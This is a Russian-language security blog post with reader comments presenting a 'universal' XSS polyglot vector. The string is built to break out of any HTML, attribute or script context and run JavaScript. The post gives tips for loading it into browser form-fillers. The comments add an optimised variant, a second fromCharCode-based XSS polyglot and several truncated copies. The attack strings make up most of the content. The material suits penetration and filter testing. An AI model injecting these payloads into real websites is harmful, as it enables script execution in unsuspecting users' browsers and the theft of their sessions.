Универсальный XSS-вектор

Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.

Credits: Gareth Heyes @ thespanner.co.uk


16 comments:

  1. Dmitry, 15. September 2010, 21:14

    >> Размер немного великоват (428 байт)
    и дело не только в размере… способ довольно палевный в контексте автомитизированного тестирования

     
  2. Raz0r, 15. September 2010, 22:59

    С этим не поспоришь, но если применять точечно, то будет довольно эффективно

     
  3. Ruslan, 16. September 2010, 9:40

    Круто было бы если бы Вы его еще разобрали подробненько а не просто пыплескнули сюда 🙂 А вообще спасибо!

     
  4. Raz0r, 16. September 2010, 12:15

    Если разбирать вектор, то видно, что закрываются все комментарии, кавычки, такие тэги как title, script, style и др. Сам payload исполняется внутри атрибутов для тега img и в значении свойства expression в CSS (исключительно для IE). Кстати в посте вектор был обновлен, оптимизированную версию предложил LeverOne (теперь 373 байта):

    javascript:/*--></script></title></textarea></noscript></style></xmp></noembed></comment></xml></iframe>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute; name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"
     
  5. Ruslan, 17. September 2010, 16:56

    Пока ждал ваш ответ, сам разобралсо 🙂
    Спасибо 🙂

     
  6. LO, 18. September 2010, 19:44

    Я пока ничего не предлагал, только указал на очевидные проблемы кода.
    http://sla.ckers.org/forum/read.php?24,35645
    Судя по всему, он концептуально должен выглядеть по-другому. Ни о какой минимизации, чтобы байты высчитывать, на данный момент речи не идет : там ведь даже в HTML-эквивалентах не убраны разделители.

     
  7. M4g, 12. October 2010, 1:11

    реальный пример, где можно увидеть, что эта конструкция лучше “>alert().? как-то страшно это выглядит)

     
  8. M4g, 12. October 2010, 1:13

    упс, обрезалось “@@script@alert()@/script@

     
  9. AD0, 19. November 2010, 12:07

    в хром есть варианты как добавить?

     
  10. Anonymous, 7. February 2011, 18:56

    ‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–>”>’>alert(String.fromCharCode(88,83,83))

     
  11. Nixx, 24. April 2011, 17:20

    Сделал сканер поиска sql на сайте.Решил проверить сканером 17 xss нашел и этот вектор тоже работает.Короче как пхп тулзы зашишать.

     
  12. Anonymous, 13. September 2011, 23:06

    javascript:/*–>”>[img=1]”

     
  13. S, 26. March 2012, 22:02

    javascript:/*–>”>[img=1]”

     
  14. hhh, 19. March 2013, 21:25

    javascript:/*–>”>[img=1]”

     
  15. Anonymous, 3. July 2013, 10:42

    javascript:/*–>”>[img=1]”
    s

     
  16. Anonymous, 4. July 2013, 9:42

    javascript:/*–>»>[img=1]»

     

Write a comment: